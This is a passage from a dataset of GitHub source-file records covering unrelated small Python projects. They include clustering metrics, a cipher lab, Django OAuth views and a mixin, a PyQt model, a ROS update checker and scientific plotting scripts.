len(preds)\r\n# num_correct = np.zeros((class_num, class_num))\r\n# for c1 in range(0, class_num):\r\n# for c2 in range(0, class_num):\r\n# votes = int(((preds == c1) * (targets == c2)).sum())\r\n# num_correct[c1, c2] = votes\r\n# match = linear_assignment(num_samples - num_correct)\r\n# a_ind, b_ind = match\r\n# res = []\r\n\r\n# ## for scipy.optimize import linear_sum_assignment\r\n# ## use: from scipy.optimize import linear_sum_assignment as linear_assignment\r\n# for i in range(0,len(a_ind)):\r\n# res.append((a_ind[i], b_ind[i] )) \r\n\r\n# reordered_preds = np.zeros(num_samples)\r\n# for i in range(0,len(a_ind)):\r\n# pred_i = a_ind[i]\r\n# target_i = b_ind[i]\r\n# reordered_preds[preds == pred_i] = int(target_i)\r\n\r\n# ari = metrics.adjusted_rand_score(targets, preds) * 100\r\n# nmi = metrics.normalized_mutual_info_score(targets, preds) * 100\r\n# pur = purity_score(targets, reordered_preds) * 100\r\n\r\n# acc = np.sum((reordered_preds == targets)) / float(len(targets)) * 100\r\n# f1 = metrics.f1_score(targets, reordered_preds, average='macro') * 100\r\n# pre = metrics.precision_score(targets, reordered_preds, average='macro') * 100\r\n# recall = metrics.recall_score(targets, reordered_preds, average='macro') * 100\r\n\r\n# return res,reordered_preds, acc, pre, recall, f1, ari, nmi, pur\r\n\r\n# # def result_hungarian_match_ver1(preds, targets):\r\n# # class_num = len(np.unique(targets))\r\n# # num_samples = len(preds)\r\n# # num_correct = np.zeros((class_num, class_num))\r\n# # for c1 in range(0, class_num):\r\n# # for c2 in range(0, class_num):\r\n# # votes = int(((preds == c1) * (targets == c2)).sum())\r\n# # num_correct[c1, c2] = votes\r\n# # match = linear_assignment(num_samples - num_correct)\r\n# # res = []\r\n# # for out_c, gt_c in match: ## sklearn need 0.22.1\r\n# # res.append((out_c, gt_c))\r\n\r\n# # reordered_preds = np.zeros(num_samples)\r\n# # for pred_i, target_i in match:\r\n# # reordered_preds[preds == pred_i] = int(target_i)\r\n\r\n# # ari = metrics.adjusted_rand_score(targets, preds) * 100\r\n# # nmi = metrics.normalized_mutual_info_score(targets, preds) * 100\r\n# # pur = purity_score(targets, reordered_preds) * 100\r\n\r\n# # acc = np.sum((reordered_preds == targets)) / float(len(targets)) * 100\r\n# # f1 = metrics.f1_score(targets, reordered_preds, average='macro') * 100\r\n# # pre = metrics.precision_score(targets, reordered_preds, average='macro') * 100\r\n# # recall = metrics.recall_score(targets, reordered_preds, average='macro') * 100\r\n\r\n# # return res,reordered_preds, acc, pre, recall, f1, ari, nmi, pur\r\n\r\n","repo_name":"LWCHN/CTEC","sub_path":"utils/calc_acc.py","file_name":"calc_acc.py","file_ext":"py","file_size_in_byte":5690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"38702404082","text":"import streamlit as st\nimport pandas as pd\n\nst.set_page_config(page_title=\"New Test Case\", layout=\"wide\")\nst.title(\"New Test Case\")\n\nfile = \"/resources/PlanviewRegressionSuites.xlsx\"\n\n\ndef write_to_csv(data_frame):\n df = pd.DataFrame(data=data_frame)\n # df.to_excel(file, sheet_name=\"okr\", index_label=\"serial_no\")\n # af = pd.read_excel(file)\n with pd.ExcelWriter(file, mode=\"a\", engine=\"openpyxl\", if_sheet_exists=\"overlay\") as writer:\n df.to_excel(writer, sheet_name=\"okr\", header=False, startrow=writer.sheets[\"okr\"].max_row, index=False)\n return df\n\n\nwith st.form(key=\"enter new test case\"):\n test_case_name = st.text_input(\"test name\")\n test_case_steps = st.text_area(\"test steps\")\n submit = st.form_submit_button(\"submit\")\n data = {\"test name: \": [test_case_name], \"steps\": [test_case_steps]}\n st.table(write_to_csv(data))\n","repo_name":"PritamMondal-planview/PritamMondal-planview.github.io","sub_path":"RegressionAndTestManagementTool/app/Enter_Test_Details.py","file_name":"Enter_Test_Details.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"29332649967","text":"import sys\ni = sys.stdin.readline\nn = sorted([int(i()) for _ in range(int(i()))])\nd = {}\nfor i in n:\n if i not in d:\n d[i] = 0\n d[i] += 1\nprint(*[round(sum(n)/len(n)), n[len(n)//2], sorted([i for i in d.keys()\n if d[i] == max(d.values())])[:2][-1], n[-1]-n[0]], sep=\"\\n\")\n","repo_name":"wookkl/backjoon-problemsolving","sub_path":"[2108]통계학.py","file_name":"[2108]통계학.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"35527709030","text":"#Nicolas Caroca\r\n#Edmond Morales\r\nfrom random import sample\r\nfrom itertools import product as col\r\n\r\ndicc1 = {'A' : 1, 'B' : 2, 'C' : 3, 'D' : 4, 'E' : 5,\r\n 'F' : 6, 'G' : 7, 'H' : 8, 'I' : 9, 'J' : 10,\r\n 'K' : 11, 'L' : 12, 'M' : 13, 'N' : 14, 'O' : 15,\r\n 'P' : 16, 'Q' : 17, 'R' : 18, 'S' : 19, 'T' : 20,\r\n 'U' : 21, 'V' : 22, 'W' : 23, 'X' : 24, 'Y' : 25, 'Z' : 26}\r\n \r\n\r\ndicc2 = {0 : 'Z', 1 : 'A', 2 : 'B', 3 : 'C', 4 : 'D', 5 : 'E',\r\n 6 : 'F', 7 : 'G', 8 : 'H', 9 : 'I', 10 : 'J',\r\n 11 : 'K', 12 : 'L', 13 : 'M', 14 : 'N', 15 : 'O',\r\n 16 : 'P', 17 : 'Q', 18 : 'R', 19 : 'S', 20 : 'T',\r\n 21 : 'U', 22 : 'V', 23 : 'W', 24 : 'X', 25 : 'Y'}\r\n\r\ndef cifrar(mensaje, rott):\r\n cifrado = ''\r\n for letter in mensaje:\r\n if(letter != ' '):\r\n num = ( dicc1[letter] + rott ) % 26\r\n cifrado += dicc2[num]\r\n else:\r\n cifrado += ' '\r\n return cifrado\r\n\t\r\ndef vigenere(x,llave):\r\n lista_final = []\r\n codigo = list(x)\r\n j = 0\r\n\t\r\n for i,char in enumerate(codigo):\r\n if char.isalpha():\r\n codigo[i] = llave[(i+j)%len(llave)]\r\n if cifrar:\r\n lista_final.append((ord(x[i]) + ord(codigo[i]) - 65 * 2) % 26)\r\n else:\r\n lista_final.append((ord(x[i]) - ord(codigo[i])) % 26)\r\n else:\r\n lista_final.append(ord(char))\r\n j -=1\r\n\r\n for i,char in enumerate(codigo):\r\n if char.isalpha():\r\n lista_final[i] = chr(lista_final[i] + 65)\r\n else:\r\n lista_final[i] = chr(lista_final[i])\r\n\t\t\t\r\n return ''.join(lista_final)\r\n\r\narchivo = open(\"mensajeDeEntrada.txt\")\r\nleer = archivo.read()\r\nprint(leer)\r\narchivo.close()\r\nmensaje = leer\r\nrott= 5\r\n \r\nresultado = cifrar(mensaje.upper(), rott)\r\nprint(resultado)\r\nllave = input('ingrese llave: ').upper()\r\nnuevo=(vigenere(resultado,llave))\r\nhasha = hash(nuevo)\r\nprint(nuevo)\r\nprint(hasha)\r\n\r\nwith open(\"Mensaje seguro.txt\",\"w\") as archivo2:\r\n archivo2.write(str(hasha))\r\n archivo2.write(\"\\n\")\r\n archivo2.write(nuevo)\r\narchivo2.close()\r\n\r\n\r\n","repo_name":"NCAROAL/LAB-2-SEGURIDAD-INFORMATICA","sub_path":"lab2/ROT G.py","file_name":"ROT G.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"6807477491","text":"from funcs import *\n\"\"\"\nPuedo comparar estos resultdos con los de Qin. Ver figura 3.4 de Shalchi 2009 (libro).\nAhi muestra k(t). Son perfiles muy parecidos.\n\"\"\"\nEk\t\t= 1e6\t\t# [eV]\nBo\t\t= 5e-5\nfname_inp\t= '../post/k_vs_t_Ek.%1.2eeV.dat' % Ek\ndir_plots\t= '../plots'\nt, kxx, kyy, kzz = loadtxt(fname_inp, unpack=True)\nwc = calc_omega(Bo, Ek)\n\n#-------------------------------------------- fit k_perp\ncc\t= t>2e3\nb\t= 1.8e19/wc\nm\t= 3.6e22/wc\nxo\t= 0.\npx\t= make_fit_kxx([(t/wc)[cc], kxx[cc]], [b, m, xo])\npy\t= make_fit_kxx([(t/wc)[cc], kyy[cc]], [b, m, xo])\nkxx_fit\t= px[0]\nkyy_fit\t= py[0]\n#-------------------------------------------- fit k_parall\nccz\t= t>0.\ncc\t= t>2e3\nb\t= 3.5e22*(.2/wc) # 7e21 # 3.5e22 #1.8e22/wc\nm\t= -7.4e24*(.2/wc) # -2e24 # -7.4e24 #-3.6e21/wc\nxo\t= 0.\npz\t= make_fit_kxx([(t/wc)[ccz], kzz[ccz]], [b, m, xo])\nkzz_fit\t= pz[0]\n#--------------------------------------------\nfig1\t= figure(1, figsize=(6, 4))\nax1\t= fig1.add_subplot(111)\n\nax1.scatter(t, kxx, edgecolor='none', c='red', alpha=.3)\nax1.scatter(t, kyy, edgecolor='none', c='blue', alpha=.3)\nax1.scatter(t[cc], kxx[cc], edgecolor='none', c='red', label='kxx')\nax1.scatter(t[cc], kyy[cc], edgecolor='none', c='blue', label='kyy')\nax1.plot(t[cc], fun_hyperbola(px[0], px[1], px[2], t[cc]/wc), c='red')\nax1.plot(t[cc], fun_hyperbola(py[0], py[1], py[2], t[cc]/wc), c='blue')\n\nkperp\t= (kxx_fit + kyy_fit)/2.\nTITLE\t= 'fit: y=b+m/(x-xo)\\nKxx: %1.1e Kyy:%1.1e\\nKperp: %1.2e' % (kxx_fit, kyy_fit, kperp)\nax1.set_title(TITLE)\nax1.set_xlabel('time [$\\Omega^{-1}$]')\nax1.set_ylabel('[cm2/s]')\nax1.grid()\n#--------------------------------------------\nfig2\t= figure(2, figsize=(6, 4))\nax2\t= fig2.add_subplot(111)\n\nax2.scatter(t, kzz, edgecolor='none', c='black', alpha=.3)\nax2.plot(t[ccz], fun_hyperbola(pz[0], pz[1], pz[2], t[ccz]/wc), c='green')\n\nTITLE\t= 'fit: y=b+m/(x-xo)\\nKzz: %1.1e' % (kzz_fit)\nax2.set_title(TITLE)\nax2.set_xlabel('time [$\\Omega^{-1}$]')\nax2.set_ylabel('[cm2/s]')\nax2.grid()\n#----------------------------------------\n\nfname_fig_perp\t\t= \"%s/kperp_asymptotic.fit_Ek.%1.2eeV.png\" % (dir_plots, Ek)\nfname_fig_parall\t= \"%s/kparall_asymptotic.fit_Ek.%1.2eeV.png\" % (dir_plots, Ek)\nfig1.savefig(fname_fig_perp, format='png', dpi=135, bbox_inches='tight')\nfig2.savefig(fname_fig_parall, format='png', dpi=135, bbox_inches='tight')\nclose(fig1); close(fig2)\n#show(); close()\n","repo_name":"jimsrc/corpad","sub_path":"code_processing/sigma_study/calc_k_Original.py","file_name":"calc_k_Original.py","file_ext":"py","file_size_in_byte":2349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"34949480080","text":"# coding: utf-8\n\nimport logging\n\nfrom django import http\nfrom django.views.generic.base import View\nfrom django.shortcuts import resolve_url\nfrom django.contrib.auth import authenticate, login\nfrom django.utils.http import is_safe_url\n\nfrom . import utils\nfrom . import settings\n\n\nlog = logging.getLogger(__name__)\n\n\ndef oauth_login(request):\n u\"\"\"Initiates OAuth flow.\n\n Obtains request token and redirects user to Upwork side.\n Upwork is asked to redirect user to URL resolved from pattern named\n 'upwork_oauth_login_callback'.\n\n Passes along GET parameter named \"next\", which specifies\n where user should be redirected after OAuth login callback is handled.\"\"\"\n\n client = utils.get_client()\n\n request.session[settings.REQUEST_TOKEN_SESSION_KEY] = (\n client.auth.get_request_token())\n\n return http.HttpResponseRedirect(client.auth.get_authorize_url(\n 'http://{host}{path}?next={success_redirect}'.format(\n host=utils.get_host(request),\n path=resolve_url('upwork_oauth_login_callback'),\n success_redirect=request.GET.get('next'),\n )\n ))\n\n\nclass OAuthLoginCallback(View):\n u\"\"\"Handles redirect from Upwork side during OAuth login flow.\n\n Fetches request token obtained on previous step. Request token\n and verifier passed from Upwork are used to obtain access token.\n Access token is passed to authentication backend as credentials.\n\n In case of success, redirects to path under \"next\" GET parameter.\"\"\"\n\n def dispatch(self, *args, **kwargs):\n self.client = utils.get_client()\n return super(OAuthLoginCallback, self).dispatch(*args, **kwargs)\n\n def get(self, request, **kwargs):\n (\n self.client.auth.request_token,\n self.client.auth.request_token_secret,\n ) = self.pop_request_token()\n\n verifier = self.request.GET.get('oauth_verifier')\n access_token = self.client.auth.get_access_token(verifier)\n\n # Delegate a bunch of work to provided Upwork authentication backend\n user = authenticate(access_token=access_token)\n\n if user:\n # Store access token for future use\n settings.ACCESS_TOKEN_STORE_FUNC(access_token, request)\n\n login(request, user)\n return self.handle_authentication_success(user)\n\n return self.handle_authentication_failure()\n\n def pop_request_token(self):\n try:\n token = self.request.session[settings.REQUEST_TOKEN_SESSION_KEY]\n except KeyError:\n log.error(u\"No OAuth request token found in session\")\n raise\n else:\n del self.request.session[settings.REQUEST_TOKEN_SESSION_KEY]\n\n return token\n\n def handle_authentication_failure(self):\n return http.HttpResponse(u\"User not found\", status=401)\n\n def handle_authentication_success(self, user):\n return http.HttpResponseRedirect(self.get_redirect_url())\n\n def get_redirect_url(self):\n redirect_to = self.request.GET.get('next')\n\n if any([redirect_to is None,\n redirect_to == 'None', # Upwork quirk\n not is_safe_url(redirect_to, host=self.request.get_host())]):\n redirect_to = resolve_url(settings.LOGIN_REDIRECT_URL)\n\n return redirect_to\n","repo_name":"strogonoff/django-upwork-auth","sub_path":"django_upwork_auth/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3300,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"20196229060","text":"'''\r\nCreated on 3 maj 2011\r\n\r\n@author: Yasin\r\n'''\r\n\r\nfrom PyQt5 import QtCore, QtGui, QtWidgets\r\n\r\nfrom .modal_items import QColorDialog, QFontDialog\r\nfrom .session_node import SessionNode\r\n\r\nclass DataAxisModel(QtCore.QAbstractTableModel):\r\n '''\r\n This model was created to allow support of the \r\n complexity of the multiCanvasItem. it allows a \r\n treeview approach of the \r\n '''\r\n sortRole = QtCore.Qt.UserRole\r\n filterRole = QtCore.Qt.UserRole + 1\r\n \r\n \"\"\"INPUTS: Node, QObject\"\"\"\r\n def __init__(self, parent=None, col_count = 3):\r\n super(DataAxisModel, self).__init__(parent)\r\n self._root_item = SessionNode(\"root\")\r\n self._col_count = col_count\r\n self.referenceModel()\r\n\r\n def referenceModel(self):\r\n self._root_item.referenceModel(self)\r\n\r\n def root(self):\r\n return self._root_item\r\n\r\n def rowCount(self, parent):\r\n return self._root_item.childCount()\r\n\r\n def columnCount(self, parent):\r\n return self._col_count\r\n \r\n \"\"\"INPUTS: QModelIndex, int\"\"\"\r\n \"\"\"OUTPUT: QVariant, strings are cast to QString which is a QVariant\"\"\"\r\n def data(self, index, role):\r\n \r\n if not index.isValid():\r\n return None\r\n\r\n node = self._root_item.child(index.row())\r\n\r\n if role == QtCore.Qt.DisplayRole or role == QtCore.Qt.EditRole:\r\n return node.data(index.column())\r\n \r\n if role == QtCore.Qt.DecorationRole:\r\n if index.column() == 0:\r\n resource = node.resource()\r\n return QtGui.QIcon(QtGui.QPixmap(resource))\r\n \r\n if role == DataAxisModel.sortRole:\r\n return node.typeInfo()\r\n\r\n if role == DataAxisModel.filterRole:\r\n return node.typeInfo()\r\n\r\n if role == QtCore.Qt.BackgroundRole:\r\n if type(node.data(index.column())) == QtGui.QColor:\r\n return QtGui.QBrush(node.data(index.column()))\r\n\r\n if role == QtCore.Qt.FontRole:\r\n if type(node.data(index.column())) == QtGui.QFont:\r\n return node.data(index.column())\r\n\r\n \"\"\"INPUTS: QModelIndex, QVariant, int (flag)\"\"\"\r\n def setData(self, index, value, role=QtCore.Qt.EditRole):\r\n if index.isValid():\r\n node = self._root_item.child(index.row())\r\n if role == QtCore.Qt.EditRole:\r\n node.setData(index.column(), value)\r\n self.dataChanged.emit(index, index)\r\n return True\r\n \r\n return False\r\n \r\n \"\"\"INPUTS: int, Qt::Orientation, int\"\"\"\r\n \"\"\"OUTPUT: QVariant, strings are cast to QString which is a QVariant\"\"\"\r\n def headerData(self, section, orientation, role):\r\n if role == QtCore.Qt.DisplayRole:\r\n if orientation == QtCore.Qt.Horizontal:\r\n if section == 0:\r\n return \"Name\"\r\n elif section == 1:\r\n return \"Value\"\r\n elif section == 2:\r\n return \"Unit\"\r\n else:\r\n return None\r\n\r\n \"\"\"INPUTS: QModelIndex\"\"\"\r\n \"\"\"OUTPUT: int (flag)\"\"\"\r\n def flags(self, index):\r\n item = self.getNode(index)\r\n return item.flags(index)\r\n\r\n \"\"\"INPUTS: int, int, QModelIndex\"\"\"\r\n \"\"\"OUTPUT: QModelIndex\"\"\"\r\n \"\"\"Should return a QModelIndex that corresponds to the given row, column and parent node\"\"\"\r\n def index(self, row, column, parent):\r\n child_item = self._root_item.child(row)\r\n if child_item:\r\n return self.createIndex(row, column, self._root_item)\r\n else:\r\n return QtCore.QModelIndex()\r\n\r\n \"\"\"CUSTOM\"\"\"\r\n \"\"\"INPUTS: QModelIndex\"\"\"\r\n def getNode(self, index): \r\n return self._root_item.child(index.row())\r\n\r\n def itemAt(self,index):\r\n '''\r\n returns the ite, associated to the model index\r\n '''\r\n if not index.parent().internalPointer() is None:\r\n return index.parent().internalPointer().child(index.row())\r\n else:\r\n return None\r\n\r\n \"\"\"INPUTS: int, int, QModelIndex\"\"\"\r\n def insertRows(self, position, rows, items):\r\n success = False\r\n self.beginInsertRows(\r\n self._root_item.index(), \r\n position, \r\n position + rows - 1)\r\n \r\n for row in range(rows):\r\n items[row].referenceModel(self)\r\n success = self._root_item.insertChild(position, items[row])\r\n \r\n self.endInsertRows()\r\n self.referenceModel()\r\n\r\n return success\r\n\r\n # \"\"\"INPUTS: int, int, QModelIndex\"\"\"\r\n def removeRows(self, position, rows):\r\n success = False\r\n self.beginRemoveRows(\r\n self._root_item.index(), \r\n position, \r\n position + rows - 1)\r\n \r\n for row in range(rows):\r\n success = self._root_item.removeChild(position)\r\n \r\n self.endRemoveRows()\r\n \r\n return success\r\n\r\n\r\n","repo_name":"AlexanderSchober/simpleplot_qt","sub_path":"simpleplot/models/data_axis_model.py","file_name":"data_axis_model.py","file_ext":"py","file_size_in_byte":5008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"29849786236","text":"from django import forms\n\nfrom apps.teachers.models import Teachers\n\n\nclass CsvFileForm(forms.Form):\n csv_file=forms.FileField()\n\n\nclass TeacherForm(forms.ModelForm):\n subjects = forms.CharField( widget=forms.Textarea(\n attrs={'width':\"50%\", 'cols' : \"50\", 'rows': \"2\", }),\n max_length=500 )\n \n def __init__(self, *args, **kwargs):\n super(TeacherForm, self).__init__(*args, **kwargs)\n for field in self.fields:\n self.fields[field].widget.attrs['class'] = 'form-control'\n self.fields['email'].widget.attrs['readonly'] = True\n \n class Meta:\n model = Teachers\n fields = ['email','last_name','phone','image','room_number','subjects']\n\n","repo_name":"gokulcr/techtest","sub_path":"apps/teachers/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"40749846558","text":"#!/usr/bin/env python3\nfrom __future__ import annotations\n\nfrom datetime import datetime, timedelta\nfrom pathlib import Path\nfrom socket import timeout\nfrom urllib import request\nfrom xml.etree import ElementTree\n\nimport rospkg\nimport rospy\nfrom packaging import version\n\nGITHUB_PACKAGE_URL = \"https://raw.githubusercontent.com/FieldRobotEvent/virtual_maize_field/main/package.xml\"\n\n\ndef version_from_xml(xml_data: str) -> version.Version:\n root = ElementTree.fromstring(xml_data)\n return version.parse(root.findtext(\"version\"))\n\n\ndef remote_version_from_cache(cache_file: Path) -> version.Version | None:\n if not cache_file.is_file():\n return None\n\n cache_content = cache_file.read_text(encoding=\"utf-8\").splitlines()\n if len(cache_content) != 2:\n return None\n\n last_check = datetime.strptime(cache_content[0], \"%d-%b-%Y (%H:%M:%S.%f)\")\n if last_check + timedelta(days=1) >= datetime.now():\n return None\n\n return version.parse(cache_content[1])\n\n\ndef remote_version_to_cache(cache_file: Path, version: version.Version) -> None:\n timestamp = datetime.now().strftime(\"%d-%b-%Y (%H:%M:%S.%f)\")\n cache_file.write_text(f\"{timestamp}\\n{version}\", encoding=\"utf-8\")\n\n\ndef main() -> None:\n rospy.init_node(\"virtual_maize_field_update_checker\")\n\n cache_file = Path(\"/tmp/virtual_maize_field_update_check.tmp\")\n remote_version = remote_version_from_cache(cache_file)\n\n if remote_version is None:\n try:\n # Get the remote version\n remote_version_xml_data = request.urlopen(\n GITHUB_PACKAGE_URL, timeout=2\n ).read()\n remote_version = version_from_xml(remote_version_xml_data)\n remote_version_to_cache(cache_file, remote_version)\n\n except timeout:\n rospy.logdebug(\n \"Could not get remote version of the 'virtual_maize_field' package. Probably because there is no internet available.\"\n )\n\n except Exception:\n rospy.loginfo(\"Could not check version of 'virtual_maize_field' package.\")\n\n # Get the local version\n local_package_xml = rospkg.RosPack().get_path(\"virtual_maize_field\")\n local_package_xml_data = (Path(local_package_xml) / \"package.xml\").read_text(\n encoding=\"utf-8\"\n )\n local_version = version_from_xml(local_package_xml_data)\n\n # Print error if we have an old local version\n if local_version < remote_version:\n rospy.logwarn(\n f\"Your 'virtual_maize_field' package is outdated ({local_version} < {remote_version})! Run 'git submodule update --remote --merge' to update the package and generate new worlds.\"\n )\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"FieldRobotEvent/virtual_maize_field","sub_path":"src/check_for_updates.py","file_name":"check_for_updates.py","file_ext":"py","file_size_in_byte":2702,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"81"} +{"seq_id":"24021869051","text":"# https://judge.softuni.org/Contests/Practice/Index/2275#3\n\nfrom math import floor\n\nrecord_time = float(input())\ndistance = float(input())\nspeed = float(input())\n\nclimbing_time = distance * speed\ndelay_time = (distance // 50) * 30\ntotal_time = climbing_time + delay_time\n\nif total_time < record_time:\n print(f\"Yes! The new record is {total_time:.2f} seconds.\")\nelse:\n print((f\"No! He was {total_time - record_time:.2f} seconds slower.\"))\n","repo_name":"yavor-gornalov/softuni_programming_basics","sub_path":"pb_exams/08_online_exam_28_and_29_march_2020/02_mountain_run.py","file_name":"02_mountain_run.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"652736144","text":"import cv2\n# import os\n\nDatos = 'images'\n# if not os.path.exists(Datos):\n# print('Carpeta creada: ',Datos)\n# os.makedirs(Datos)\n \ncap = cv2.VideoCapture(0, cv2.CAP_DSHOW)\nlargura_img = 160\naltura_img = 120\nx1, y1 = 65, 40\nx2, y2 = 95, 80\ncount = 0\n\n_, frame = cap.read()\nprint(frame.shape)\n\nscale = 4\ncv2.namedWindow(\"frame\", cv2.WINDOW_NORMAL)\ncv2.resizeWindow(\"frame\", largura_img*scale, altura_img*scale)\n\nwhile True:\n _, frame = cap.read()\n \n frame = cv2.resize(frame, (largura_img, altura_img))\n \n imAux = frame.copy()\n cv2.rectangle(frame,(x1,y1),(x2,y2),(255,0,0),1)\n objeto = imAux[y1:y2,x1:x2]\n\n k = cv2.waitKey(1)\n if k == ord('s'):\n cv2.imwrite(Datos+'/objeto_{}.jpg'.format(count),objeto)\n print('Imagen guardada:'+'/objeto_{}.jpg'.format(count))\n count = count +1\n if k == 27:\n break\n cv2.imshow('frame',frame)\n \ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"mateusgomesc7/opencv-traffic-light","sub_path":"sketchs/tirarFotoRecortada.py","file_name":"tirarFotoRecortada.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"18145189961","text":"\"\"\" calculate the electron impact ionization cross sections\n\"\"\"\nimport sys\nfrom pfac import fac\n\nuse_openmp = False\nif len(sys.argv) == 2 and sys.argv[1] == 'openmp':\n use_openmp = True\n\n\nif use_openmp:\n # enable openmp with 2 cores\n fac.InitializeMPI(2)\n\nfac.SetAtom('Fe')\n# 1s shell is closed\nfac.Closed('1s')\n# Ne-like ground state\nfac.Config('2*8', group='fe17')\n# F-like configuations\nfac.Config('2*7', group='fe18')\n\n# solve the structure problem\nfac.ConfigEnergy(0)\nfac.OptimizeRadial(['fe17'])\nfac.ConfigEnergy(1)\nfac.Structure('ne_f.lev.b', ['fe17'])\nfac.Structure('ne_f.lev.b', ['fe18'])\nfac.MemENTable('ne_f.lev.b')\nfac.PrintTable('ne_f.lev.b', 'ne_f.lev', 1)\n\n# set the output collision energies\ne = [500.0, 900.0, 1.3e3, 1.7e3, 2.1e3, 4.2e3, 6.0e3, 8.0e3]\nfac.SetUsrCIEGrid(e)\nfac.CITable('ne.ci.b', ['fe17'], ['fe18'])\nfac.PrintTable('ne.ci.b', 'ne.ci', 1)\n\nif use_openmp:\n fac.FinalizeMPI()\n","repo_name":"flexible-atomic-code/fac","sub_path":"demo/ionization/fe17_ionization.py","file_name":"fe17_ionization.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"81"} +{"seq_id":"16229070859","text":"import numpy as np\n\ndias_evaluacion = 90 #asumimos 90 días\ndt = 1\nperiodo_evaluacion = np.linspace(0, dias_evaluacion, dias_evaluacion + 1)\n\nalpha = 0.2\nbeta = 1.75\ngamma = 0.5\nparametros = alpha, beta, gamma\n\n#Condiciones iniciales de la ZMG\nJAL_Population = 8000000 \nI_o = 32 / JAL_Population # Tenemos 32 casos\nE_o = (32*4)/JAL_Population # Asumimos 4 expuestos por caso\nS_o = (1) - (E_o+I_o) # El resto somos suceptibles\nR_o = 0 # NO hay ningun recuperado\n\nCondiciones_Iniciales = S_o,E_o,I_o,R_o","repo_name":"RutaCovid/rutacovid-seir-api","sub_path":"params.py","file_name":"params.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"3984771808","text":"from django.shortcuts import redirect\nfrom django.contrib import messages\nfrom datetime import datetime\ntoday = datetime.today()\n\n\nclass SubscriptionRequiredMixin:\n\n def dispatch(self, request, *args, **kwargs):\n subscription = request.user.subscription_set.filter(\n start_timestamp <= today, end_timestamp >= today).all()\n if len(subscription) > 0:\n return super().dispatch(request, *args, **kwargs)\n else:\n messages.error(\n request, 'Your Subscription or free trial has expired. Subscribe to continue learning')\n return redirect('/success/')\n","repo_name":"abdotest/Somi","sub_path":"payments/mixins.py","file_name":"mixins.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"33110017815","text":"\"\"\"\n如果二叉树每个节点都具有相同的值,那么该二叉树就是单值二叉树。\n只有给定的树是单值二叉树时,才返回 true;否则返回 false。\n示例 1:\n输入:[1,1,1,1,1,null,1]\n输出:true\n示例 2:\n输入:[2,2,2,5,2]\n输出:false\n提示:\n给定树的节点数范围是 [1, 100]。\n每个节点的值都是整数,范围为 [0, 99] 。\n\"\"\"\n\n\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def isUnivalTree(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: bool\n \"\"\"\n if not root:\n return True\n v = root.val\n res = set()\n\n def unival(r):\n if not r:\n return\n res.add(r.val)\n unival(r.left)\n unival(r.right)\n\n unival(root)\n return True if len(res) == 1 else False","repo_name":"ShumaoHou/MyOJ","sub_path":"leetcode/0965.py","file_name":"0965.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"43587952404","text":"SlabColourChosen = \"\"\r\nConstSlabColourOptions = [\"grey\", \"red\", \"green\"]\r\nSlabColourCustom = \"\"\r\nSlabColourCheck = False\r\nSlabColourCustomCheck = False\r\nSlabDepthChosen = 0\r\nConstSlabDepthOptions = [\"38\", \"45\"]\r\nSlabDepthCheck = False\r\nConstSlabShapeOptions = [\"square\", \"rectangle\", \"round\"]\r\nSlabShapeChosen = \"\"\r\nSlabSizeChosen = \"\"\r\nSlabShapeCheck = False\r\nSlabSizeCheck = False\r\nSingleSlabVolume = 0\r\nTotalSlabVolume = 0\r\nGreySlabPrice = 0\r\nFinalSlabPrice = 0\r\nGreyConcreteCost = 0\r\n\r\nprint(\"Please follow the instructions to make the slab that you require\")\r\nwhile True:\r\n print(\"Please choose a colour from the following:\\nGrey\\nRed\\nGreen\\nCustom\")\r\n SlabColourChosen = input().lower()\r\n if SlabColourChosen in ConstSlabColourOptions:\r\n print(f\"Slab colour set to {SlabColourChosen}\")\r\n SlabColourCheck = True\r\n break\r\n elif SlabColourChosen == \"custom\":\r\n print(\"Please enter your custom colour\")\r\n SlabColourCustom = input().lower()\r\n print(f\"Custom slab colour set to {SlabColourCustom}\")\r\n SlabColourCheck = True\r\n SlabColourCustomCheck = True\r\n break\r\n else:\r\n print(\"That is not a valid colour\")\r\n\r\nwhile True:\r\n print(\"Please choose one of the following depths for your slab (All measurements are in millimeters):\\n38\\n45\")\r\n SlabDepthChosen = input()\r\n if SlabDepthChosen in ConstSlabDepthOptions:\r\n if SlabDepthChosen == \"38\":\r\n SlabDepthChosen = 38\r\n print(f\"Slab depth has been set to {SlabDepthChosen}\")\r\n SlabDepthCheck 